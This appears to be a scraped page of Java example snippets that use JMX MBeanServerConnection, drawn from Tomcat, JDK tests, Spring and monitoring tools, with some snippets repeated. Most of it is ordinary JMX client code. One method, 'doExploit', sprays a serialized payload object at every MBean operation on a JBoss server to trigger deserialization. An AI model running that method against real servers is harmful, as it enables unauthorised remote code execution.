java类javax.management.MBeanServerConnection的实例源码

public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}

@Test
public void testSingleWriter() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName writerObject = getWriterObjectName(mbs);
    final String fileName = StringGenerator.nextRandomString(5);
    final File file = new File(testSpaceDirectory, fileName);
    //set parameter to service
    JmxClientDiscHelper.setByteTarget(mbs,writerObject, (long) (10* TransformValues.MEGABYTE));
    JmxClientDiscHelper.setChunkSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setFileName(mbs,writerObject, fileName);
    JmxClientDiscHelper.setOutputPath(mbs,writerObject,testSpaceDirectory);
    JmxClientDiscHelper.setWriterBufferSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setWriterImplementation(mbs,writerObject, WriterType.BufferedWriter.getKey());
    //set run parameter

    //start a single writer
    JmxClientDiscHelper.startWriter(mbs,writerObject);
}

/**
 * Execute the specified command. This logic only performs the common
 * attribute validation required by all subclasses; it does not perform any
 * functional logic directly.
 * 
 * @exception BuildException
 *                if a validation error occurs
 */
@Override
public void execute() throws BuildException {
    if (testIfCondition() && testUnlessCondition()) {
        try {
            String error = null;

            MBeanServerConnection jmxServerConnection = getJMXConnection();
            error = jmxExecute(jmxServerConnection);
            if (error != null && isFailOnError()) {
                // exception should be thrown only if failOnError == true
                // or error line will be logged twice
                throw new BuildException(error);
            }
        } catch (Exception e) {
            if (isFailOnError()) {
                throw new BuildException(e);
            } else {
                handleErrorOutput(e.getMessage());
            }
        } finally {
            closeRedirector();
        }
    }
}

public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}

/**
 * Obtain the default JBoss JCA WorkManager through a JMX lookup
 * for the JBossWorkManagerMBean.
 * @param mbeanName the JMX object name to use
 * @see org.jboss.resource.work.JBossWorkManagerMBean
 */
public static WorkManager getWorkManager(String mbeanName) {
    Assert.hasLength(mbeanName, "JBossWorkManagerMBean name must not be empty");
    try {
        Class<?> mbeanClass = JBossWorkManagerUtils.class.getClassLoader().loadClass(JBOSS_WORK_MANAGER_MBEAN_CLASS_NAME);
        InitialContext jndiContext = new InitialContext();
        MBeanServerConnection mconn = (MBeanServerConnection) jndiContext.lookup(MBEAN_SERVER_CONNECTION_JNDI_NAME);
        ObjectName objectName = ObjectName.getInstance(mbeanName);
        Object workManagerMBean = MBeanServerInvocationHandler.newProxyInstance(mconn, objectName, mbeanClass, false);
        Method getInstanceMethod = workManagerMBean.getClass().getMethod("getInstance");
        return (WorkManager) getInstanceMethod.invoke(workManagerMBean);
    }
    catch (Exception ex) {
        throw new IllegalStateException(
                "Could not initialize JBossWorkManagerTaskExecutor because JBoss API is not available", ex);
    }
}

/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}

/**
 * Test all base variables of the reader jmx interface
 */
@Test
public void t1testStandardVariableOverJMX() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName readerObject = getReaderObjectName(mbs);
    //assert path
    final String path = JmxClientReaderHelper.getFilePath(mbs,readerObject);
    Assert.assertEquals(System.getProperty("user.dir"), path);
    //assert filename
    final String filename = JmxClientReaderHelper.getFileName(mbs,readerObject);
    Assert.assertEquals("none", filename);
    //assert chunksize
    final int chunkSize = JmxClientReaderHelper.getChunkSize(mbs,readerObject);
    Assert.assertEquals(8192, chunkSize);
    //assert takeMeasurements
    final String takeMeasurements = JmxClientReaderHelper.getTakeMeasurements(mbs,readerObject);
    final boolean takeMeasurementsAsBoolean = JmxClientReaderHelper.getTakeMeasurementsAsBoolean(mbs,readerObject);
    Assert.assertEquals(true, takeMeasurementsAsBoolean);
    Assert.assertEquals("true", takeMeasurements);
    //assert measurementvolume
    final int measurementVolume = JmxClientReaderHelper.getMeasurementVolume(mbs,readerObject);
    Assert.assertEquals(-1,measurementVolume);
    //assert readertype
    final String readerType = JmxClientReaderHelper.getReaderType(mbs,readerObject);
    final ReaderType readerTypeAsEnum = JmxClientReaderHelper.getReaderTypeAsType(mbs,readerObject);
    Assert.assertEquals(ReaderType.none, readerTypeAsEnum);
    Assert.assertEquals("none", readerType);
}

/**
 * get the current state of the TakeMeasurements flag as boolean.
 * @param mbs mbean server
 * @param on client reader object name
 * @return boolean | false is the default value or error value
 */
public static boolean getTakeMeasurementsAsBoolean(final MBeanServerConnection mbs, final ObjectName on){
    String param = getTakeMeasurements(mbs,on);
    if("true".equals(param))
        return true;
    else if("false".equals(param))
        return false;
    else
        log.log(Level.INFO,"JmxClientReaderHelper getTakeMeasurement - JMX returned some weird value for TakeMeasurements: " + param);
    return false;
}

protected int doSetRequest(MBeanServerConnection mbsc,
                           ObjectName on,
                           boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doSetRequest: Set attributes of the MBean") ;

        Attribute attribute = new Attribute("Attribute", "My value") ;
        mbsc.setAttribute(on, attribute) ;

        if (expectedException) {
            System.out.println("ClientSide::doSetRequest: " +
                "(ERROR) Set did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doSetRequest: (OK) Set succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doSetRequest: " +
                    "(OK) Set failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doSetRequest: " +
                    "(ERROR) Set failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doSetRequest: (ERROR) Set failed");
            errorCount++;
        }
    }
    return errorCount;
}

public AgentLoggerJMXProxy(IAgentId agentName, MBeanServerConnection mbsc, ObjectName parentName) {
    super(agentName);
    this.mbsc = mbsc;
    this.parentName = parentName;
    ObjectName objectName = AgentLogger.getJMXAgentLoggerName(parentName);        
    this.agentLoggerProxy = new DynamicProxy(objectName, mbsc); 
}

public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

protected int doCreateRequest(MBeanServerConnection mbsc,
                              ObjectName on,
                              boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doCreateRequest: Create and register the MBean") ;

        mbsc.createMBean("Simple", on) ;

        if (expectedException) {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doCreateRequest: (OK) Create succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(OK) Create failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(ERROR) Create failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create failed");
            errorCount++;
        }
    }
    return errorCount;
}

/**
 * Dumps a local or remote MBeanServer's entire object tree for support purposes. Nested arrays and CompositeData
 * objects in MBean attribute values are handled.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 */
public static void dumpConnection(MBeanServerConnection connection, PrintWriter out) throws IOException
{
    JmxDumpUtil.showStartBanner(out);

    // Get all the object names
    Set<ObjectName> objectNames = connection.queryNames(null, null);

    // Sort the names (don't assume ObjectName implements Comparable in JDK 1.5)
    Set<ObjectName> newObjectNames = new TreeSet<ObjectName>(new Comparator<ObjectName>()
    {
        public int compare(ObjectName o1, ObjectName o2)
        {
            return o1.toString().compareTo(o2.toString());
        }
    });
    newObjectNames.addAll(objectNames);
    objectNames = newObjectNames;


    // Dump each MBean
    for (ObjectName objectName : objectNames)
    {
        try
        {
            printMBeanInfo(connection, objectName, out);
        }
        catch (JMException e)
        {
            // Sometimes beans can disappear while we are examining them
        }
    }
}

/**
 * Dumps the details of a single MBean.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param objectName
 *            the object name
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 * @throws JMException
 *             Signals a JMX error
 */
private static void printMBeanInfo(MBeanServerConnection connection, ObjectName objectName, PrintWriter out)
        throws IOException, JMException
{
    Map<String, Object> attributes = new TreeMap<String, Object>();
    MBeanInfo info = connection.getMBeanInfo(objectName);
    attributes.put("** Object Name", objectName.toString());
    attributes.put("** Object Type", info.getClassName());
    for (MBeanAttributeInfo element : info.getAttributes())
    {
        Object value;
        if (element.isReadable())
        {
            try
            {
                value = connection.getAttribute(objectName, element.getName());
            }
            catch (Exception e)
            {
                value = JmxDumpUtil.PROTECTED_VALUE;
            }
        }
        else
        {
            value = JmxDumpUtil.PROTECTED_VALUE;
        }
        attributes.put(element.getName(), value);
    }
    if (objectName.getCanonicalName().equals("Alfresco:Name=SystemProperties"))
    {
        String osName = (String) attributes.get(OS_NAME);
        if (osName != null && osName.toLowerCase().startsWith("linux"))
        {
            attributes.put(OS_NAME, updateOSNameAttributeForLinux(osName));
        }
    }
    tabulate(JmxDumpUtil.NAME_HEADER, JmxDumpUtil.VALUE_HEADER, attributes, out, 0);
}

private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}

/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection, String name) throws Exception {
    String error = null;
    if (isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute);
    }
    Object result = jmxServerConnection.getAttribute(new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute, result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}

/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception Exception
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection)
    throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    return  jmxUuregister(jmxServerConnection, getName());
 }

/**
 * Unregister Mbean
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxUuregister(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("Unregister MBean " + name  );
    }
    jmxServerConnection.unregisterMBean(
            new ObjectName(name));
    return error;
}

/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception Exception
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection)
    throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    if ((className == null)) {
        throw new BuildException(
                "Must specify a 'className' for get");
    }
    return jmxCreate(jmxServerConnection, getName());
 }

private Map<String, MeterMetric> getMetricsFromMBean(MBeanServerConnection mBeanServerConnection,
        Optional<String> topic) {
    Map<String, MeterMetric> result = new HashMap<String, MeterMetric>();
    KafkaMetrics metrics = new KafkaMetrics();
    for (String metric : metricName) {
        if (result.containsKey(metric)) {
            result.put(metric, merge(result.get(metric), metrics.getItem(mBeanServerConnection, topic, metric)));
        } else {
            result.put(metric, metrics.getItem(mBeanServerConnection, topic, metric));
        }
    }
    return result;
}

/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}

/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception BuildException
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection) throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    if ((operation == null)) {
        throw new BuildException("Must specify a 'operation' for call");
    }
    return jmxInvoke(jmxServerConnection, getName());
}

/**
    Wait until AMX has loaded and is ready for use.
    <p>
    This will <em>not</em> cause AMX to load; it will block forever until AMX is ready. In other words,
    don't call this method unless it's a convenient thread that can wait forever.
 */
public ObjectName waitAMXReady( final MBeanServerConnection server)
{
    final WaitForDomainRootListenerCallback callback = new WaitForDomainRootListenerCallback(server);
    listenForDomainRoot( server, callback );
    callback.await();
    return callback.getRegistered();
}

protected MBeanServerConnection getJMXConnection()
        throws MalformedURLException, IOException {
    return JMXAccessorTask.accessJMXConnection(
            getProject(),
            getUrl(), getHost(),
            getPort(), getUsername(), getPassword(), ref);
}

static MXBeanLookup lookupFor(MBeanServerConnection mbsc) {
    synchronized (mbscToLookup) {
        WeakReference<MXBeanLookup> weakLookup = mbscToLookup.get(mbsc);
        MXBeanLookup lookup = (weakLookup == null) ? null : weakLookup.get();
        if (lookup == null) {
            lookup = new MXBeanLookup(mbsc);
            mbscToLookup.put(mbsc, new WeakReference<MXBeanLookup>(lookup));
        }
        return lookup;
    }
}

public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

private JvmReadingInstance getHeapSurvivor(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  0) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            applyMemoryNormalizationFactor();

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=MemoryPool,name=Survivor Space");
        }

        @Override
        public float poll() {

            CompositeData attribute = (CompositeData) mbeanWrapper.getMBeanAttribute(mBeanName,
                                                                                     "Usage");

            return fixLongValue(Long.valueOf( (attribute).get("used").toString()))
                   * normalizationFactor;
        }
    };
}

private JvmReadingInstance getClassesCount(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  1) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=ClassLoading");
        }

        @Override
        public float poll() {

            return fixLongValue(Long.valueOf(mbeanWrapper.getMBeanAttribute(mBeanName,
                                                                            "LoadedClassCount")
                                                         .toString()))
                   * normalizationFactor;
        }
    };
}

private JvmReadingInstance getThreadsCount(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  1) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=Threading");
        }

        @Override
        public float poll() {

            return fixLongValue(Long.valueOf(mbeanWrapper.getMBeanAttribute(mBeanName, "ThreadCount")
                                                         .toString()))
                   * normalizationFactor;
        }
    };
}

/**
 * Prints all MBeans whatever the domain is.
 */
private static void printMBeans(MBeanServerConnection mbsc) throws Exception {
    Set<ObjectName> set = mbsc.queryNames(null, null);
    System.out.println("---- MBeans found :");

    for (Iterator<ObjectName> iter = set.iterator(); iter.hasNext(); ) {
        System.out.println(iter.next().toString());
    }

    System.out.println("\n") ;
}